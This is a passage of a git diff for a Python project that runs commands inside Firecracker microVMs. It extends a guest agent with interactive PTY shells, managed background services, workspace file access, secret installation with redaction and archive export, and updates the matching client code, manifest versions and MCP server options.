host_path.unlink(missing_ok=False) + return { + "path": str(normalized_path), + "deleted": True, + } + + +def _run_command( + command: str, + timeout_seconds: int, + *, + env: dict[str, str] | None = None, +) -> dict[str, Any]: started = time.monotonic() + command_env = os.environ.copy() + if env is not None: + command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, + env=command_env, timeout=timeout_seconds, check=False, ) @@ -53,7 +511,701 @@ def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: } +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + +class GuestShellSession: + """In-guest PTY-backed interactive shell session.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + cwd_text: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> None: + self.shell_id = shell_id + self.cwd = cwd_text + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state = "running" + self._lock = threading.RLock() + self._output = "" + self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) + self._metadata_path = SHELL_ROOT / f"{shell_id}.json" + self._log_path = SHELL_ROOT / f"{shell_id}.log" + self._master_fd: int | None = None + + master_fd, slave_fd = os.openpty() + try: + _set_pty_size(slave_fd, rows, cols) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + if env_overrides is not None: + env.update(env_overrides) + process = subprocess.Popen( # noqa: S603 + _shell_argv(interactive=True), + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + + self._process = process + self._master_fd = master_fd + self._write_metadata() + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, Any]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: + with self._lock: + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(redacted_output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + if master_fd is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + payload = text + ("\n" if append_newline else "") + try: + os.write(master_fd, payload.encode("utf-8")) + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write shell input: {exc}") from exc + response = self.summary() + response.update({"input_length": len(text), "append_newline": append_newline}) + return response + + def send_signal(self, signal_name: str) -> dict[str, Any]: + signum = SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self._process.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + response = self.summary() + response["signal"] = signal_name + return response + + def close(self) -> dict[str, Any]: + if self._process.poll() is None: + try: + os.killpg(self._process.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self._process.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + response = self.summary() + response["closed"] = True + return response + + def _reader_loop(self) -> None: + master_fd = self._master_fd + if master_fd is None: + return + while True: + try: + chunk = os.read(master_fd, BUFFER_SIZE) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded == "": + continue + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + decoded = self._decoder.decode(b"", final=True) + if decoded != "": + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + + def _waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _write_metadata(self) -> None: + self._metadata_path.parent.mkdir(parents=True, exist_ok=True) + self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def _create_shell( + *, + shell_id: str, + cwd_text: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, +) -> GuestShellSession: + _, cwd_path = _normalize_shell_cwd(cwd_text) + with _SHELLS_LOCK: + if shell_id in _SHELLS: + raise RuntimeError(f"shell {shell_id!r} already exists") + session = GuestShellSession( + shell_id=shell_id, + cwd=cwd_path, + cwd_text=cwd_text, + cols=cols, + rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, + ) + _SHELLS[shell_id] = session + return session + + +def _get_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS[shell_id] + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _remove_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS.pop(shell_id) + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _read_service_metadata(service_name: str) -> dict[str, Any]: + metadata_path = _service_metadata_path(service_name) + if not metadata_path.exists(): + raise RuntimeError(f"service {service_name!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record for {service_name!r} is invalid") + return payload + + +def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: + _service_metadata_path(service_name).write_text( + json.dumps(payload, indent=2, sort_keys=True), + encoding="utf-8", + ) + + +def _service_exit_code(service_name: str) -> int | None: + status_path = _service_status_path(service_name) + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _service_pid_running(pid: int | None) -> bool: + if pid is None: + return False + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_service_process(pid: int) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: + if str(payload.get("state", "stopped")) != "running": + return payload + pid = payload.get("pid") + normalized_pid = None if pid is None else int(pid) + if _service_pid_running(normalized_pid): + return payload + refreshed = dict(payload) + refreshed["state"] = "exited" + refreshed["ended_at"] = refreshed.get("ended_at") or time.time() + refreshed["exit_code"] = _service_exit_code(service_name) + _write_service_metadata(service_name, refreshed) + return refreshed + + +def _run_readiness_probe( + readiness: dict[str, Any] | None, + *, + cwd: Path, + env: dict[str, str] | None = None, +) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + _, ready_path = _normalize_destination(str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + command_env = os.environ.copy() + if env is not None: + command_env.update(env) + proc = subprocess.run( # noqa: S603 + ["/bin/sh", "-lc", str(readiness["command"])], + cwd=str(cwd), + text=True, + capture_output=True, + env=command_env, + timeout=10, + check=False, + ) + return proc.returncode == 0 + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _start_service( + *, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, +) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) + existing = None + metadata_path = _service_metadata_path(normalized_service_name) + if metadata_path.exists(): + existing = _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + if existing is not None and str(existing.get("state", "stopped")) == "running": + raise RuntimeError(f"service {normalized_service_name!r} is already running") + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + stdout_path = _service_stdout_path(normalized_service_name) + stderr_path = _service_stderr_path(normalized_service_name) + status_path = _service_status_path(normalized_service_name) + runner_path = _service_runner_path(normalized_service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd_path))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + "exit \"$status\"", + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + service_env = os.environ.copy() + if env is not None: + service_env.update(env) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd_path), + env=service_env, + text=True, + start_new_session=True, + ) + payload: dict[str, Any] = { + "service_name": normalized_service_name, + "command": command, + "cwd": normalized_cwd, + "state": "running", + "started_at": time.time(), + "readiness": readiness, + "ready_at": None, + "ended_at": None, + "exit_code": None, + "pid": process.pid, + "stop_reason": None, + } + _write_service_metadata(normalized_service_name, payload) + deadline = time.monotonic() + ready_timeout_seconds + while True: + payload = _refresh_service_payload(normalized_service_name, payload) + if str(payload.get("state", "stopped")) != "running": + payload["state"] = "failed" + payload["stop_reason"] = "process_exited_before_ready" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if _run_readiness_probe(readiness, cwd=cwd_path, env=env): + payload["ready_at"] = time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if time.monotonic() >= deadline: + _stop_service_process(process.pid) + payload = _refresh_service_payload(normalized_service_name, payload) + payload["state"] = "failed" + payload["stop_reason"] = "readiness_timeout" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _status_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + return _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + + +def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + stdout, stdout_truncated = _tail_service_text( + _service_stdout_path(normalized_service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_service_text( + _service_stderr_path(normalized_service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + +def _stop_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + pid = payload.get("pid") + if pid is None: + return payload + if str(payload.get("state", "stopped")) == "running": + _, killed = _stop_service_process(int(pid)) + payload = _status_service(normalized_service_name) + payload["state"] = "stopped" + payload["stop_reason"] = "sigkill" if killed else "sigterm" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + + +def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + return _extract_archive(payload, destination) + if action == "install_secrets": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + payload = _read_exact(conn, archive_size) + return _install_secrets_archive(payload) + if action == "list_workspace": + return _list_workspace( + str(request.get("path", "/workspace")), + recursive=bool(request.get("recursive", False)), + ) + if action == "read_workspace_file": + return _read_workspace_file( + str(request.get("path", "/workspace")), + max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), + ) + if action == "write_workspace_file": + return _write_workspace_file( + str(request.get("path", "/workspace")), + text=str(request.get("text", "")), + ) + if action == "delete_workspace_path": + return _delete_workspace_path(str(request.get("path", "/workspace"))) + if action == "open_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + env_payload = request.get("env") + env_overrides = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("shell env must be a JSON object") + env_overrides = { + _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() + } + redact_values_payload = request.get("redact_values") + redact_values: list[str] | None = None + if redact_values_payload is not None: + if not isinstance(redact_values_payload, list): + raise RuntimeError("redact_values must be a list") + redact_values = [str(item) for item in redact_values_payload] + session = _create_shell( + shell_id=shell_id, + cwd_text=cwd_text, + cols=int(request.get("cols", 120)), + rows=int(request.get("rows", 30)), + env_overrides=env_overrides, + redact_values=redact_values, + ) + return session.summary() + if action == "read_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).read( + cursor=int(request.get("cursor", 0)), + max_chars=int(request.get("max_chars", 65536)), + ) + if action == "write_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).write( + str(request.get("input", "")), + append_newline=bool(request.get("append_newline", True)), + ) + if action == "signal_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + signal_name = str(request.get("signal", "INT")).upper() + if signal_name not in SHELL_SIGNAL_NAMES: + raise RuntimeError( + f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" + ) + return _get_shell(shell_id).send_signal(signal_name) + if action == "close_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _remove_shell(shell_id).close() + if action == "start_service": + service_name = str(request.get("service_name", "")).strip() + command = str(request.get("command", "")) + cwd_text = str(request.get("cwd", "/workspace")) + readiness = request.get("readiness") + readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("service env must be a JSON object") + env = { + _normalize_secret_name(str(key)): str(value) + for key, value in env_payload.items() + } + return _start_service( + service_name=service_name, + command=command, + cwd_text=cwd_text, + readiness=readiness_payload, + ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), + ready_interval_ms=int(request.get("ready_interval_ms", 500)), + env=env, + ) + if action == "status_service": + service_name = str(request.get("service_name", "")).strip() + return _status_service(service_name) + if action == "logs_service": + service_name = str(request.get("service_name", "")).strip() + tail_lines = request.get("tail_lines") + normalized_tail_lines = None if tail_lines is None else int(tail_lines) + return _logs_service(service_name, tail_lines=normalized_tail_lines) + if action == "stop_service": + service_name = str(request.get("service_name", "")).strip() + return _stop_service(service_name) + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("exec env must be a JSON object") + env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} + return _run_command(command, timeout_seconds, env=env) + + def main() -> None: + SHELL_ROOT.mkdir(parents=True, exist_ok=True) + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -63,10 +1215,31 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - request = _read_request(conn) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + try: + request = _read_request(conn) + if str(request.get("action", "")) == "export_archive": + export = _prepare_export_archive(str(request.get("path", "/workspace"))) + try: + header = { + "workspace_path": export["workspace_path"], + "artifact_type": export["artifact_type"], + "archive_size": export["archive_size"], + "entry_count": export["entry_count"], + "bytes_written": export["bytes_written"], + } + conn.sendall((json.dumps(header) + "\n").encode("utf-8")) + with Path(str(export["archive_path"])).open("rb") as handle: + while True: + chunk = handle.read(BUFFER_SIZE) + if chunk == b"": + break + conn.sendall(chunk) + finally: + Path(str(export["archive_path"])).unlink(missing_ok=True) + continue + response = _dispatch(request, conn) + except Exception as exc: # noqa: BLE001 + response = {"error": str(exc)} conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 1e521e1..46e5ccf 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -18,14 +18,18 @@ "component_versions": { "base_distro": "debian-bookworm-20250210", "firecracker": "1.12.1", - "guest_agent": "0.1.0-dev", + "guest_agent": "0.2.0-dev", "jailer": "1.12.1", "kernel": "5.10.210" }, "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0" + "sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd" + }, + "init": { + "path": "guest/pyro-init", + "sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/runtime_network_check.py b/src/pyro_mcp/runtime_network_check.py index 934f593..0f7f87f 100644 --- a/src/pyro_mcp/runtime_network_check.py +++ b/src/pyro_mcp/runtime_network_check.py @@ -9,9 +9,9 @@ from pathlib import Path from pyro_mcp.api import Pyro NETWORK_CHECK_COMMAND = ( - "rm -rf hello-world " - "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " - "&& git -C hello-world rev-parse --is-inside-work-tree" + 'python3 -c "import urllib.request as u; ' + "print(u.urlopen('https://example.com').status)" + '"' ) @@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring print(f"[network] execution_mode={result.execution_mode}") print(f"[network] network_enabled={result.network_enabled}") print(f"[network] exit_code={result.exit_code}") - if result.exit_code == 0 and result.stdout.strip() == "true": + if result.exit_code == 0 and result.stdout.strip() == "200": print("[network] result=success") return print("[network] result=failure") diff --git a/src/pyro_mcp/server.py b/src/pyro_mcp/server.py index bd094e0..455e9d2 100644 --- a/src/pyro_mcp/server.py +++ b/src/pyro_mcp/server.py @@ -2,15 +2,41 @@ from __future__ import annotations +from pathlib import Path + from mcp.server.fastmcp import FastMCP -from pyro_mcp.api import Pyro +from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode from pyro_mcp.vm_manager import VmManager -def create_server(manager: VmManager | None = None) -> FastMCP: - """Create and return a configured MCP server instance.""" - return Pyro(manager=manager).create_server() +def create_server( + manager: VmManager | None = None, + *, + profile: McpToolProfile = "workspace-core", + mode: WorkspaceUseCaseMode | None = None, + project_path: str | Path | None = None, + repo_url: str | None = None, + repo_ref: str | None = None, + no_project_source: bool = False, +) -> FastMCP: + """Create and return a configured MCP server instance. + + Bare server creation uses the generic `workspace-core` path in 4.x. Use + `mode=...` for one of the named use-case surfaces, or + `profile="workspace-full"` only when the host truly needs the full + advanced workspace surface. By default, the server auto-detects the + nearest Git worktree root from its current working directory for + project-aware `workspace_create` calls. + """ + return Pyro(manager=manager).create_server( + profile=profile, + mode=mode, + project_path=project_path, + repo_url=repo_url, + repo_ref=repo_ref, + no_project_source=no_project_source, + ) def main() -> None: diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 2017a1a..bd65b56 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "1.0.0" +DEFAULT_CATALOG_VERSION = "4.5.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", @@ -48,7 +48,7 @@ class VmEnvironment: oci_repository: str | None = None oci_reference: str | None = None source_digest: str | None = None - compatibility: str = ">=1.0.0,<2.0.0" + compatibility: str = ">=4.5.0,<5.0.0" @dataclass(frozen=True) @@ -114,6 +114,11 @@ def _default_cache_dir() -> Path: ) +def default_cache_dir() -> Path: + """Return the canonical default environment cache directory.""" + return _default_cache_dir() + + def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None: profiles = runtime_paths.manifest.get("profiles") if not isinstance(profiles, dict): @@ -180,6 +185,10 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]: } +def _artifacts_ready(root: Path) -> bool: + return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file() + + class EnvironmentStore: """Install and inspect curated environments in a local cache.""" @@ -223,7 +232,7 @@ class EnvironmentStore: spec = get_environment(name, runtime_paths=self._runtime_paths) install_dir = self._install_dir(spec) metadata_path = install_dir / "environment.json" - installed = metadata_path.exists() and (install_dir / "vmlinux").exists() + installed = self._load_installed_environment(spec) is not None payload = _serialize_environment(spec) payload.update( { @@ -240,29 +249,12 @@ class EnvironmentStore: def ensure_installed(self, name: str) -> InstalledEnvironment: spec = get_environment(name, runtime_paths=self._runtime_paths) self._platform_dir.mkdir(parents=True, exist_ok=True) - install_dir = self._install_dir(spec) - metadata_path = install_dir / "environment.json" - if metadata_path.exists(): - kernel_image = install_dir / "vmlinux" - rootfs_image = install_dir / "rootfs.ext4" - if kernel_image.exists() and rootfs_image.exists(): - metadata = json.loads(metadata_path.read_text(encoding="utf-8")) - source = str(metadata.get("source", "cache")) - raw_digest = metadata.get("source_digest") - digest = raw_digest if isinstance(raw_digest, str) else None - return InstalledEnvironment( - name=spec.name, - version=spec.version, - install_dir=install_dir, - kernel_image=kernel_image, - rootfs_image=rootfs_image, - source=source, - source_digest=digest, - installed=True, - ) + installed = self._load_installed_environment(spec) + if installed is not None: + return installed source_dir = self._runtime_paths.artifacts_dir / spec.source_profile - if source_dir.exists(): + if _artifacts_ready(source_dir): return self._install_from_local_source(spec, source_dir) if ( spec.oci_registry is not None @@ -308,6 +300,10 @@ class EnvironmentStore: if spec.version != raw_version: shutil.rmtree(child, ignore_errors=True) deleted.append(child.name) + continue + if self._load_installed_environment(spec, install_dir=child) is None: + shutil.rmtree(child, ignore_errors=True) + deleted.append(child.name) return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)} def _install_dir(self, spec: VmEnvironment) -> Path: @@ -344,6 +340,33 @@ class EnvironmentStore: installed=True, ) + def _load_installed_environment( + self, spec: VmEnvironment, *, install_dir: Path | None = None + ) -> InstalledEnvironment | None: + resolved_install_dir = install_dir or self._install_dir(spec) + metadata_path = resolved_install_dir / "environment.json" + if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir): + return None + try: + metadata = json.loads(metadata_path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError): + return None + if not isinstance(metadata, dict): + return None + source = str(metadata.get("source", "cache")) + raw_digest = metadata.get("source_digest") + digest = raw_digest if isinstance(raw_digest, str) else None + return InstalledEnvironment( + name=spec.name, + version=spec.version, + install_dir=resolved_install_dir, + kernel_image=resolved_install_dir / "vmlinux", + rootfs_image=resolved_install_dir / "rootfs.ext4", + source=source, + source_digest=digest, + installed=True, + ) + def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment: install_dir = self._install_dir(spec) temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir)) diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index 772f998..9e66ef2 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -2,9 +2,11 @@ from __future__ import annotations +import base64 import json import socket from dataclasses import dataclass +from pathlib import Path from typing import Any, Callable, Protocol @@ -31,6 +33,48 @@ class GuestExecResponse: duration_ms: int +@dataclass(frozen=True) +class GuestArchiveResponse: + destination: str + entry_count: int + bytes_written: int + + +@dataclass(frozen=True) +class GuestArchiveExportResponse: + workspace_path: str + artifact_type: str + entry_count: int + bytes_written: int + + +@dataclass(frozen=True) +class GuestWorkspaceFileReadResponse: + path: str + size_bytes: int + content_bytes: bytes + + +@dataclass(frozen=True) +class GuestShellSummary: + shell_id: str + cwd: str + cols: int + rows: int + state: str + started_at: float + ended_at: float | None + exit_code: int | None + + +@dataclass(frozen=True) +class GuestShellReadResponse(GuestShellSummary): + cursor: int + next_cursor: int + output: str + truncated: bool + + class VsockExecClient: """Minimal JSON-over-stream client for a guest exec agent.""" @@ -44,12 +88,533 @@ class VsockExecClient: command: str, timeout_seconds: int, *, + env: dict[str, str] | None = None, uds_path: str | None = None, ) -> GuestExecResponse: + payload = self._request_json( + guest_cid, + port, + { + "command": command, + "timeout_seconds": timeout_seconds, + "env": env, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest exec response must be a JSON object", + ) + return GuestExecResponse( + stdout=str(payload.get("stdout", "")), + stderr=str(payload.get("stderr", "")), + exit_code=int(payload.get("exit_code", -1)), + duration_ms=int(payload.get("duration_ms", 0)), + ) + + def upload_archive( + self, + guest_cid: int, + port: int, + archive_path: Path, + *, + destination: str, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveResponse: request = { - "command": command, - "timeout_seconds": timeout_seconds, + "action": "extract_archive", + "destination": destination, + "archive_size": archive_path.stat().st_size, } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + with archive_path.open("rb") as handle: + for chunk in iter(lambda: handle.read(65536), b""): + sock.sendall(chunk) + payload = self._recv_json_payload(sock) + finally: + sock.close() + + if not isinstance(payload, dict): + raise RuntimeError("guest archive response must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + return GuestArchiveResponse( + destination=str(payload.get("destination", destination)), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + + def install_secrets( + self, + guest_cid: int, + port: int, + archive_path: Path, + *, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveResponse: + request = { + "action": "install_secrets", + "archive_size": archive_path.stat().st_size, + } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + with archive_path.open("rb") as handle: + for chunk in iter(lambda: handle.read(65536), b""): + sock.sendall(chunk) + payload = self._recv_json_payload(sock) + finally: + sock.close() + + if not isinstance(payload, dict): + raise RuntimeError("guest secret install response must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + return GuestArchiveResponse( + destination=str(payload.get("destination", "/run/pyro-secrets")), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + + def export_archive( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + archive_path: Path, + 